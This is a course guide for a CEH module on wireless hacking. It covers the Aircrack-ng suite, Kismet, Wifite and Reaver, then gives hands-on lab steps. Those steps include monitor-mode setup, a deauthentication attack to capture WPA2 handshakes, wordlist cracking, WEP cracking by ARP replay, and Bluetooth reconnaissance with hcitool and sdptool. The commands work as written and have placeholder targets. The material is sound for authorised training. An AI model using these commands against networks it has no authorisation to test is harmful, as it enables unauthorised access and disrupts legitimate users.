# Module 16: Wireless Hacking - Practical Guide

This guide details the specialized tools and step-by-step procedures for the hands-on lab sessions required to master wireless network auditing and Bluetooth security assessments.

## 1. Comprehensive Wireless Toolset

### The Aircrack-ng Suite (The Industry Standard)

* **airmon-ng:** Used to enable and disable "Monitor Mode" on wireless network interfaces.
* **airodump-ng:** A packet sniffer used for capturing raw 802.11 frames, discovering SSIDs, and capturing handshakes.
* **aireplay-ng:** Used for packet injection and generating traffic, most commonly for "Deauthentication" attacks.
* **aircrack-ng:** The core cracking engine used to recover WEP keys and perform dictionary attacks against WPA/WPA2 handshakes.

### Discovery & Monitoring

* **Kismet:** A powerful wireless network detector, sniffer, and intrusion detection system. It works with any wireless card that supports monitor mode.
* **NetSpot:** A professional Wi-Fi site survey tool for Windows and macOS, used to map signal strength and interference.
* **Wigle.net:** An online global database of mapped wireless networks, essential for OSINT and wardriving research.

### Specialized Exploitation

* **Wifite:** An automated Python script that simplifies wireless auditing by running the Aircrack-ng suite and other tools automatically.
* **Reaver / Bully:** Tools specifically designed to exploit vulnerabilities in Wi-Fi Protected Setup (WPS) via brute-force attacks against the 8-digit PIN.
* **Fern Wi-Fi Cracker:** A Python-based GUI tool for wireless attack automation.

## 2. Hands-On Lab Sessions

### Lab 1: Enabling Monitor Mode

**Goal:** Configure a wireless interface to "listen" to all traffic on a channel rather than just traffic intended for its specific MAC address.

1. **Identify Interface:** Run iwconfig to find your wireless card (e.g., wlan0).
2. **Clean Processes:** sudo airmon-ng check kill (Stops background services that interfere with monitor mode).
3. **Enable:** sudo airmon-ng start wlan0.
4. **Verify:** Run iwconfig again. The mode should now show as **Monitor** and the interface name is likely wlan0mon.

### Lab 2: Capturing the WPA2 4-Way Handshake

**Goal:** Intercept the authentication exchange between a client and an Access Point (AP) for offline cracking.

1. **Find Target:** sudo airodump-ng wlan0mon (Note the BSSID and Channel of the target).
2. **Targeted Sniffing:**  
   sudo airodump-ng -c [Channel] --bssid [BSSID] -w capture\_output wlan0mon
3. **Force Handshake:** In a new terminal, use a deauthentication attack to kick a client off, forcing them to re-authenticate:  
   sudo aireplay-ng -0 5 -a [BSSID] -c [Client\_MAC] wlan0mon
4. **Verification:** Check the top right of the airodump-ng screen for the message: WPA Handshake: [BSSID].

### Lab 3: Offline Cracking with Aircrack-ng

**Goal:** Use a wordlist to crack the captured handshake file.

1. **Command:**  
   sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt capture\_output-01.cap
2. **Result:** The tool will compare the hashes in the handshake against the wordlist. If a match is found, the plaintext password will be displayed.

### Lab 4: Cracking WEP (IV Accumulation)

**Goal:** Collect enough Initialization Vectors (IVs) to derive the WEP key mathematically.

1. **Monitor:** sudo airodump-ng -c [Channel] --bssid [BSSID] -w wep\_capture wlan0mon.
2. **Accelerate (ARP Replay):**  
   sudo aireplay-ng -3 -b [BSSID] -h [Scanner\_MAC] wlan0mon
3. **Crack:** Once the #Data column in airodump exceeds 10,000–30,000, run:  
   aircrack-ng wep\_capture-01.cap

### Lab 5: Bluetooth Device Reconnaissance

**Goal:** Discover and profile nearby Bluetooth-enabled devices.

1. **Initialize:** sudo hciconfig hci0 up.
2. **Scan:** hcitool scan.
3. **Probe:** hcitool info [Device\_MAC].
4. **Service Discovery:** Use sdptool browse [Device\_MAC] to see which services (like OBEX or Headset) are active.

## 3. CEH Practical Tips for Module 16

* **Forward Secrecy:** Remember that **WPA3** uses **SAE (Simultaneous Authentication of Equals)** to provide forward secrecy, meaning a compromised password doesn't reveal past sessions.
* **Monitor vs. Managed:** "Managed" mode is for connecting to an AP; "Monitor" mode is for sniffing traffic.
* **The "-0" Flag:** In aireplay-ng, the -0 flag stands for **Deauthentication**.
* **Blue-Terminology:**
  + **Bluejacking:** Sending messages.
  + **Bluesnarfing:** Stealing data (contacts/files).
  + **Bluebugging:** Total control.